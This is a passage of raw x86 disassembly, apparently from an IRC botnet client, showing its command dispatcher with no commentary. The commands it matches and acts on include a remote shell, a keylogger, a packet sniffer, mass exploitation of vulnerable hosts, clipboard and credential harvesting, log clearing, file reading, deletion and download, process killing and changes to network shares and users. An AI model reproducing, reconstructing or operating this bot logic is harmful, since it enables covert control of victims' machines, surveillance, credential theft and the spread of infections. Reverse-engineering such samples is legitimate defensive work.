		pop	ecx
		jz	loc_412557
		push	edi
		push	offset aEnz_t3rm1 ; "enz.t3rm1"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412557
		push	edi
		push	offset aEnz_status ; "enz.status"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412519
		push	edi
		push	offset aEnz_s	; "enz.s"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412519
		push	edi
		push	offset aEnz_id	; "enz.id"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124E2
		push	edi
		push	offset aEnz_i	; "enz.i"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124E2
		push	edi
		push	offset aBox_rebewt ; "box.rebewt"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E24C
		call	sub_409DF3
		test	eax, eax
		mov	eax, offset dword_435E40
		jnz	short loc_40E21E
		mov	eax, offset dword_435E08


loc_40E21E:				; CODE XREF: sub_40CE55+13C2j
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 1Ch
		jmp	loc_40D7F9
; ---------------------------------------------------------------------------


loc_40E24C:				; CODE XREF: sub_40CE55+13B4j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123F1
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123F1
		push	edi
		push	offset aEnz_aliases ; "enz.aliases"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123D1
		push	edi
		push	offset aEnz_al	; "enz.al"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123D1
		push	edi
		push	offset aEnz_log	; "enz.log"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122E1
		push	edi
		push	offset aEnz_lg	; "enz.lg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122E1
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122C8
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122C8
		push	edi
		push	offset aBox_netinfo ; "box.netinfo"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412291
		push	edi
		push	offset aBox_ni	; "box.ni"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412291
		push	edi
		push	offset aBox_sysinfo ; "box.sysinfo"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412266
		push	edi
		push	offset aBox_si	; "box.si"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412266
		push	edi
		push	offset aEnz_beg0ne ; "enz.beg0ne"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41222C
		push	edi
		push	offset aEnz_b3g	; "enz.b3g"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41222C
		push	edi
		push	offset aBox_procs ; "box.procs"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412123
		push	edi
		push	offset aBox_ps	; "box.ps"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412123
		push	edi
		push	offset aBox_harvest ; "box.harvest"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4120F9
		push	edi
		push	offset aBox_key	; "box.key"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4120F9
		push	edi
		push	offset aBox_uptime ; "box.uptime"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412075
		push	edi
		push	offset aBox_up	; "box.up"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412075
		push	edi
		push	offset aBox_driveinfo ;	"box.driveinfo"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412058
		push	edi
		push	offset aBox_drv	; "box.drv"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412058
		push	edi
		push	offset aBox_testdlls ; "box.testdlls"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41203F
		push	edi
		push	offset aBox_dll	; "box.dll"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41203F
		push	edi
		push	offset aBox_opencmd ; "box.opencmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FF8
		push	edi
		push	offset aBox_ocmd ; "box.ocmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FF8
		push	edi
		push	offset aBox_ocmd_off ; "box.ocmd.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E497
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40E497:				; CODE XREF: sub_40CE55+1628j
		push	edi
		push	offset aEnz_who	; "enz.who"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E524
		cmp	[ebp+var_8], ebx
		jnz	short loc_40E4C7
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h


loc_40E4C7:				; CODE XREF: sub_40CE55+1656j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40E4CC:				; CODE XREF: sub_40CE55+16BDj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40E4D8
		mov	eax, offset aEmpty ; "<Empty>"


loc_40E4D8:				; CODE XREF: sub_40CE55+167Cj
		push	eax
		push	esi
		lea	eax, [ebp+var_2C8]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40E4CC
		push	offset dword_435C68


loc_40E519:				; CODE XREF: sub_40CE55+5688j
		call	sub_40B16D
		pop	ecx
		jmp	loc_41298E
; ---------------------------------------------------------------------------


loc_40E524:				; CODE XREF: sub_40CE55+1651j
		push	edi
		push	offset aBox_getclip ; "box.getclip"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FB7
		push	edi
		push	offset aBox_gc	; "box.gc"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FB7
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F8C
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F8C
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F68
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F68
		push	edi
		push	offset aVuln_currentip ; "vuln.currentip"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F2B
		push	edi
		push	offset aVuln_cip ; "vuln.cip"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F2B
		push	edi
		push	offset aServer_httpd_o ; "server.httpd.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D91
		push	edi
		push	offset aServer_web_on ;	"server.web.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D91
		push	edi
		push	offset aServer_tftp_on ; "server.tftp.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C53
		push	edi
		push	offset aServer_tf_on ; "server.tf.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C53
		push	edi
		push	offset aVuln_massexplo ; "vuln.massexploit"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411958
		push	edi
		push	offset aVall	; "vall"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411958
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40D219
		push	[ebp+arg_8]
		push	offset aEnz_nick ; "enz.nick"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41193F
		push	[ebp+arg_8]
		push	offset aEnz_n	; "enz.n"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41193F
		push	[ebp+arg_8]
		push	offset aEnz_join ; "enz.join"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41191F
		push	[ebp+arg_8]
		push	offset aEnz_j	; "enz.j"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41191F
		push	[ebp+arg_8]
		push	offset aEnz_part ; "enz.part"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411906
		push	[ebp+arg_8]
		push	offset aEnz_pt	; "enz.pt"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411906
		push	[ebp+arg_8]
		push	offset aEnz_raw	; "enz.raw"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118CF
		push	[ebp+arg_8]
		push	offset aEnz_r	; "enz.r"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118CF
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41180C
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41180C
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411761
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411761
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411716
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411716
		push	[ebp+arg_8]
		push	offset aEnz_prefix ; "enz.prefix"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411701
		push	[ebp+arg_8]
		push	offset aEnz_pr	; "enz.pr"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411701
		push	[ebp+arg_8]
		push	offset aBox_open ; "box.open"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116D7
		push	[ebp+arg_8]
		push	offset aBox_o	; "box.o"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116D7
		push	[ebp+arg_8]
		push	offset aEnz_setserve ; "enz.setserve"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116B2
		push	[ebp+arg_8]
		push	offset aEnz_se	; "enz.se"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116B2
		push	[ebp+arg_8]
		push	offset aEnz_dns	; "enz.dns"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411650
		push	[ebp+arg_8]
		push	offset aEnz_dn	; "enz.dn"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411650
		push	[ebp+arg_8]
		push	offset aBox_killprocna ; "box.killprocname"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411624
		push	[ebp+arg_8]
		push	offset aBox_kpn	; "box.kpn"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411624
		push	[ebp+arg_8]
		push	offset aBox_prockillid ; "box.prockillid"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115C9
		push	[ebp+arg_8]
		push	offset aBox_pkid ; "box.pkid"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115C9
		push	[ebp+arg_8]
		push	offset aBox_delete ; "box.delete"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411592
		push	[ebp+arg_8]
		push	offset aBox_del	; "box.del"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411592
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114B1
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114B1
		push	[ebp+arg_8]
		push	offset aBox_filelist ; "box.filelist"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411496
		push	[ebp+arg_8]
		push	offset aBox_fl	; "box.fl"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411496
		push	[ebp+arg_8]
		push	offset aEnz_visit ; "enz.visit"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4113B8
		push	[ebp+arg_8]
		push	offset aEnz_v	; "enz.v"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4113B8
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41137D
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41137D
		push	[ebp+arg_8]
		push	offset aBox_cmd	; "box.cmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411332
		push	[ebp+arg_8]
		push	offset aBox_cm	; "box.cm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411332
		push	[ebp+arg_8]
		push	offset aBox_readfile ; "box.readfile"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4112AD
		push	[ebp+arg_8]
		push	offset aBox_rf	; "box.rf"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4112AD
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EB3B
		push	edi
		push	offset aOn	; "on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EB06
		push	18h
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_40EA33
		push	offset unk_4359C0
		jmp	loc_40EBA7
; ---------------------------------------------------------------------------


loc_40EA33:				; CODE XREF: sub_40CE55+1BD2j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_4DC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_450], eax
		jnz	short loc_40EA75
		mov	esi, offset dword_42C24C
		push	offset byte_438FBC
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EA75
		mov	esi, [ebp+var_8C]


loc_40EA75:				; CODE XREF: sub_40CE55+1C02j
					; sub_40CE55+1C18j
		push	esi
		lea	eax, [ebp+var_4D8]
		push	80h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_2C8]
		push	offset unk_43597C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	18h
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_458], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	eax
		push	offset sub_4024DC
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_458]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_40EAF5


loc_40EADF:				; CODE XREF: sub_40CE55+1C9Ej
		cmp	[ebp+var_44C], ebx
		jnz	loc_40ECC3
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_40EADF
; ---------------------------------------------------------------------------


loc_40EAF5:				; CODE XREF: sub_40CE55+1C88j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43592C
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------


loc_40EB06:				; CODE XREF: sub_40CE55+1BC2j
		push	edi
		push	offset aOff	; "off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECC3
		push	ebx
		push	18h
		call	sub_41518E
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40EB34
		push	eax
		push	offset unk_4358DC
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------


loc_40EB34:				; CODE XREF: sub_40CE55+1CD2j
		push	offset unk_4358A0
		jmp	short loc_40EBA7
; ---------------------------------------------------------------------------


loc_40EB3B:				; CODE XREF: sub_40CE55+1BADj
		push	[ebp+arg_8]
		push	offset aBox_keylog ; "box.keylog"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECED
		push	edi
		push	offset aOn	; "on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EBBA
		push	edi
		push	offset aFile	; "file"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EBBA
		push	edi
		push	offset aOff	; "off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECC3
		push	ebx
		push	1Ah
		call	sub_41518E
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40EBA2
		push	eax
		push	offset unk_435844
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------


loc_40EBA2:				; CODE XREF: sub_40CE55+1D40j
		push	offset unk_435804


loc_40EBA7:				; CODE XREF: sub_40CE55+1BD9j
					; sub_40CE55+1CE4j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------


loc_40EBBA:				; CODE XREF: sub_40CE55+1D0Cj
					; sub_40CE55+1D1Dj
		push	1Ah
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_40EBCD
		push	offset unk_4357D0
		jmp	short loc_40EBA7
; ---------------------------------------------------------------------------


loc_40EBCD:				; CODE XREF: sub_40CE55+1D6Fj
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4DC], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_454], eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EBFC
		mov	[ebp+var_450], 1
		jmp	short loc_40EC05
; ---------------------------------------------------------------------------


loc_40EBFC:				; CODE XREF: sub_40CE55+1D99j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_450], eax


loc_40EC05:				; CODE XREF: sub_40CE55+1DA5j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_40EC2C
		mov	esi, offset dword_42C248
		push	offset byte_438FBC
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC2C
		mov	esi, [ebp+var_8C]


loc_40EC2C:				; CODE XREF: sub_40CE55+1DB9j
					; sub_40CE55+1DCFj
		push	esi
		lea	eax, [ebp+var_4D4]
		push	80h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_2C8]
		push	offset unk_43579C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Ah
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_4D8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	eax
		push	offset sub_4021FB
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_4D8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_40ECA8


loc_40EC96:				; CODE XREF: sub_40CE55+1E51j
		cmp	[ebp+var_44C], ebx
		jnz	short loc_40ECC3
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_40EC96
; ---------------------------------------------------------------------------


loc_40ECA8:				; CODE XREF: sub_40CE55+1E3Fj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43574C


loc_40ECB4:				; CODE XREF: sub_40CE55+1CACj
					; sub_40CE55+1CDAj ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch


loc_40ECC3:				; CODE XREF: sub_40CE55+1C90j
					; sub_40CE55+1CC0j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40D7F9
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h
		jmp	loc_40D7F9
; ---------------------------------------------------------------------------


loc_40ECED:				; CODE XREF: sub_40CE55+1CF7j
		push	[ebp+arg_8]
		push	offset aBox_net	; "box.net"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EFBE
		cmp	dword_43A468, ebx
		jz	short loc_40ED1E
		cmp	dword_43A490, ebx
		jz	short loc_40ED1E
		push	offset dword_4356F8
		jmp	loc_40EF78
; ---------------------------------------------------------------------------


loc_40ED1E:				; CODE XREF: sub_40CE55+1EB5j
					; sub_40CE55+1EBDj
		cmp	[ebp+var_C], ebx
		jz	loc_40EF86
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40ED46
		push	eax
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_40ED46:				; CODE XREF: sub_40CE55+1EE1j
		push	edi
		push	offset aStart	; "start"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDAC
		cmp	[ebp+arg_18], ebx
		jz	short loc_40ED80
		push	[ebp+arg_0]
		push	3


loc_40ED61:				; CODE XREF: sub_40CE55+1F6Dj
					; sub_40CE55+1F85j ...
		call	sub_412DE7
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		add	esp, 14h
		jmp	loc_40EF86
; ---------------------------------------------------------------------------


loc_40ED80:				; CODE XREF: sub_40CE55+1F05j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_41308E
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40EDA2
		push	offset dword_4356C0
		jmp	loc_40EF78
; ---------------------------------------------------------------------------


loc_40EDA2:				; CODE XREF: sub_40CE55+1F41j
		push	offset dword_43568C
		jmp	loc_40EF78
; ---------------------------------------------------------------------------


loc_40EDAC:				; CODE XREF: sub_40CE55+1F00j
		push	edi
		push	offset aStop	; "stop"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDC4
		push	[ebp+arg_0]
		push	4
		jmp	short loc_40ED61
; ---------------------------------------------------------------------------


loc_40EDC4:				; CODE XREF: sub_40CE55+1F66j
		push	edi
		push	offset aPause	; "pause"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDDC
		push	[ebp+arg_0]
		push	5
		jmp	short loc_40ED61
; ---------------------------------------------------------------------------


loc_40EDDC:				; CODE XREF: sub_40CE55+1F7Ej
		push	edi
		push	offset aContinue ; "continue"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDF7
		push	[ebp+arg_0]
		push	6
		jmp	loc_40ED61
; ---------------------------------------------------------------------------


loc_40EDF7:				; CODE XREF: sub_40CE55+1F96j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EE12
		push	[ebp+arg_0]
		push	1
		jmp	loc_40ED61
; ---------------------------------------------------------------------------


loc_40EE12:				; CODE XREF: sub_40CE55+1FB1j
		push	edi
		push	offset aShare	; "share"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EE8F
		cmp	[ebp+arg_18], ebx
		jz	short loc_40EE62
		cmp	[ebp+var_9B0], bl
		jz	short loc_40EE38
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_40EE43
; ---------------------------------------------------------------------------


loc_40EE38:				; CODE XREF: sub_40CE55+1FD9j
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx


loc_40EE43:				; CODE XREF: sub_40CE55+1FE1j
		call	sub_4131CB
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		add	esp, 18h
		jmp	loc_40EF86
; ---------------------------------------------------------------------------


loc_40EE62:				; CODE XREF: sub_40CE55+1FD1j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4133C0
		add	esp, 10h
		test	eax, eax
		jz	short loc_40EE85
		push	offset dword_435638
		jmp	loc_40EF78
; ---------------------------------------------------------------------------


loc_40EE85:				; CODE XREF: sub_40CE55+2024j
		push	offset dword_435604
		jmp	loc_40EF78
; ---------------------------------------------------------------------------


loc_40EE8F:				; CODE XREF: sub_40CE55+1FCCj
		push	edi
		push	offset aUser	; "user"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EF2B
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40EF04
		cmp	[ebp+var_9B0], bl
		jz	short loc_40EEC5
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_40EEE5
; ---------------------------------------------------------------------------


loc_40EEC5:				; CODE XREF: sub_40CE55+205Cj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_40EEE1
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40EEE5
; ---------------------------------------------------------------------------


loc_40EEE1:				; CODE XREF: sub_40CE55+2085j
		push	ebx
		push	eax
		push	2


loc_40EEE5:				; CODE XREF: sub_40CE55+206Ej
					; sub_40CE55+208Aj
		call	sub_4134E1
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		add	esp, 24h
		jmp	loc_40EF86
; ---------------------------------------------------------------------------


loc_40EF04:				; CODE XREF: sub_40CE55+2054j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4139F5
		add	esp, 10h
		test	eax, eax
		jz	short loc_40EF24
		push	offset dword_4355C8
		jmp	short loc_40EF78
; ---------------------------------------------------------------------------


loc_40EF24:				; CODE XREF: sub_40CE55+20C6j
		push	offset dword_435598
		jmp	short loc_40EF78
; ---------------------------------------------------------------------------


loc_40EF2B:				; CODE XREF: sub_40CE55+2049j
		push	edi
		push	offset aSend	; "send"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EF73
		cmp	[ebp+arg_18], ebx
		jz	short loc_40EF6C
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_413CA9
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		jmp	short loc_40EF86
; ---------------------------------------------------------------------------


loc_40EF6C:				; CODE XREF: sub_40CE55+20EAj
		push	offset dword_435564
		jmp	short loc_40EF78
; ---------------------------------------------------------------------------


loc_40EF73:				; CODE XREF: sub_40CE55+20E5j
		push	offset dword_435534


loc_40EF78:				; CODE XREF: sub_40CE55+1EC4j
					; sub_40CE55+1F48j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx


